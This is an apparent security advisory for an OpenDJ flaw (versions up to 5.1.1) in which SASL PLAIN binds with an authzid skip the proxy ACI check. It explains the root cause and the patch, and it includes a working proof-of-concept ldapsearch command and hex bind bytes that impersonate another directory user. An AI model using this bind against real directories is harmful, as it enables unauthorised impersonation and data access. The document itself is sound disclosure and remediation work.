OpenDJ SASL PLAIN authzid Proxy ACI Authorization Bypass
OpenDJ's SASL PLAIN handler let any account with the proxied-auth privilege impersonate arbitrary directory users by supplying an authzid at bind time, skipping the proxy ACI check that every other…

The problem
In OpenDJ <= 5.1.1, the PlainSASLMechanismHandler checked only whether the authenticating account held the proxied-auth privilege when a SASL PLAIN bind included an authzid field pointing to a different user. It never called the mayProxy ACI scope check.
Every other proxy-capable mechanism in OpenDJ (DIGEST-MD5, GSSAPI, and the RFC 4370 Proxied Authorization Control) requires BOTH the privilege AND a matching proxy ACI grant. PLAIN silently skipped the second gate, so any service account with the privilege could impersonate any resolvable non-root identity in the directory, regardless of what ACIs the deployment had configured.
Proof of concept
A working proof-of-concept for this issue in org.openidentityplatform.opendj:opendj-server-legacy, with the exact payload below.
# Attacker controls an account (uid=svc,ou=apps,dc=example,dc=com)
# that has the proxied-auth privilege but NO proxy ACI for the target.
# SASL PLAIN wire format (RFC 4616): authzid NUL authcid NUL passwd
# The three fields are concatenated with 0x00 bytes as separators.
ldapsearch \
--hostname ldap.example.com \
--port 389 \
--saslOption mech=PLAIN \
--saslOption authid=dn:uid=svc,ou=apps,dc=example,dc=com \
--saslOption authzid=dn:uid=victim,ou=people,dc=example,dc=com \
--bindPassword 'svc-password' \
--baseDN 'ou=people,dc=example,dc=com' \
--searchScope sub \
'(objectClass=*)'
# Equivalent raw LDAP bind credential bytes (hex):
# 64 6e 3a 75 69 64 3d 76 69 63 74 69 6d 2c 6f 75 <- authzid field
# 3d 70 65 6f 70 6c 65 2c 64 63 3d 65 78 61 6d 70
# 6c 65 2c 64 63 3d 63 6f 6d
# 00 <- NUL separator
# 75 69 64 3d 73 76 63 2c 6f 75 3d 61 70 70 73 2c <- authcid field
# 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63 3d 63 6f
# 6d
# 00 <- NUL separator
# 73 76 63 2d 70 61 73 73 77 6f 72 64 <- password
# On unpatched servers this bind SUCCEEDS and the session runs as
# uid=victim even though no proxy ACI grants svc that right.
# The u: bare-username form works identically:
# authzid=u:victim.usernameThe root cause is a missing authorization check in PlainSASLMechanismHandler. When authzid != authcid the handler called hasPrivilege(PROXIED_AUTH) and then proceeded directly to password verification, never invoking the hasProxyAccess helper used by DIGEST-MD5 and GSSAPI.
The patch at commit 5c326850 adds a hasProxyAccess call for both the dn: and u: authzid forms on the PLAIN path, and moves the denial to INVALID_CREDENTIALS (49) *before* password verification. This timing parity prevents an unauthenticated caller from probing whether a denial is due to a missing privilege or a missing ACI grant.
CWE-863 (Incorrect Authorization) / CWE-639 (Authorization Bypass Through User-Controlled Key).
The fix
Upgrade to OpenDJ 5.1.2, which enforces the mayProxy ACI scope check on the SASL PLAIN authzid path. If upgrading is not immediately possible, revoke or restrict the proxied-auth privilege from all service accounts until the patch is applied.
Reported by hypnguyen1209.
Related research
- highArcadeDB: Cross-Database IDOR on Time-Series, Batch, Prometheus, and Grafana Endpoints
- high · 8.1CVE-2026-49464CVE-2026-49464: NL Portal Taak IDOR Allows Takeover of Any User's Open Task
- high · 7.7CVE-2026-54641CVE-2026-54641: OpenRemote Manager Cross-Realm User Information Disclosure
- high · 8.5CVE-2026-45048CVE-2026-45048: OpenAM Authenticated Privilege Escalation via Session RPC Token Disclosure